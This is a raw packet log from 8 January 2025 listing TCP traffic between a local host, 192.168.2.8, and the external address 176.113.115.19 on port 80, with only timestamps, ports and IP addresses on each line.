Jan 8, 2025 09:42:32.309827089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309830904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309844971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309859037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309859037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309875965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309879065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309895039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309914112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309935093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309935093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310066938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310079098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310090065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310102940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310116053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310117960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310128927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310141087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310143948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310154915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310177088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310177088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310235977 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310271978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310285091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310297012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310309887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310323954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310338020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310348034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310359955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310360909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310374975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310386896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310386896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310386896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310409069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310445070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310456038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310468912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310480118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310492039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310497999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310497999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310509920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310524940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310535908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310535908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310573101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310579062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310584068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310619116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310715914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310728073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310740948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310753107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310760021 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310767889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310770988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310780048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310797930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310800076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310811996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310825109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310838938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310838938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310839891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.310858011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.310882092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311039925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311053038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311069965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311086893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311103106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311108112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311108112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311117887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311131954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311140060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311140060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311146021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311153889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311161995 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311180115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311181068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311196089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311203957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311209917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311235905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311237097 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311237097 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311258078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311269999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311270952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311284065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311285019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311297894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311307907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311307907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311320066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311332941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311343908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311358929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311367989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311367989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311372042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311386108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311397076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.311402082 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311402082 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311435938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.311443090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.337388992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337415934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337433100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337483883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337497950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337510109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337522984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.337559938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.337626934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399382114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399409056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399425983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399463892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399475098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399487972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399492025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399524927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399573088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399574995 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399586916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399600983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399614096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399626970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399636030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399636030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399667978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399672985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399686098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399697065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399713993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399728060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399728060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399781942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399785042 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399796963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399811029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399821997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399823904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399836063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399848938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399866104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399868965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399885893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399899006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399909019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399910927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399924994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399936914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399949074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399949074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.399950027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.399975061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400002956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400002956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400022030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400033951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400047064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400059938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400077105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400077105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400120974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400142908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400156021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400171995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400188923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400192022 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400204897 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400218010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400235891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400235891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400280952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400283098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400296926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400309086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400320053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400332928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400361061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400361061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400397062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400398016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400409937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400424004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400439024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400456905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400480032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400480032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400496960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400525093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400525093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400564909 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400636911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400649071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400660038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400674105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400697947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400707960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400713921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400726080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400734901 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400739908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400751114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400752068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400767088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400782108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400782108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400791883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400796890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400809050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400821924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400821924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400837898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400839090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400857925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400882006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400882006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400944948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400958061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400969028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400980949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.400990009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.400995016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401010990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401015997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401036978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401079893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401082039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401096106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401113987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401130915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401134014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401144028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401144981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401160002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401163101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401177883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401182890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401191950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401205063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401209116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401209116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401218891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401223898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401233912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401248932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401262999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401289940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401308060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401417971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401431084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401443005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401458025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401469946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401480913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401480913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401482105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401495934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401513100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401514053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401544094 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401552916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401557922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401580095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401592970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401602030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401606083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401613951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401619911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401633978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401645899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401650906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401650906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401657104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401670933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401675940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401706934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401719093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401731014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401731968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401742935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401773930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401773930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401794910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401809931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401823997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401834965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401849985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401863098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401868105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401868105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401878119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401890039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401902914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.401921034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401921034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401964903 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.401995897 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.402009010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.402020931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.402031898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.402057886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.402057886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.402086020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.428042889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428057909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428070068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428101063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428113937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428132057 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.428148985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428152084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.428164005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428177118 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.428178072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.428190947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.428214073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.428214073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.489980936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490017891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490031004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490068913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490092039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490098953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490111113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490128040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490129948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.490170956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.490189075 CET	49708	80	192.168.2.8	176.113.115.19
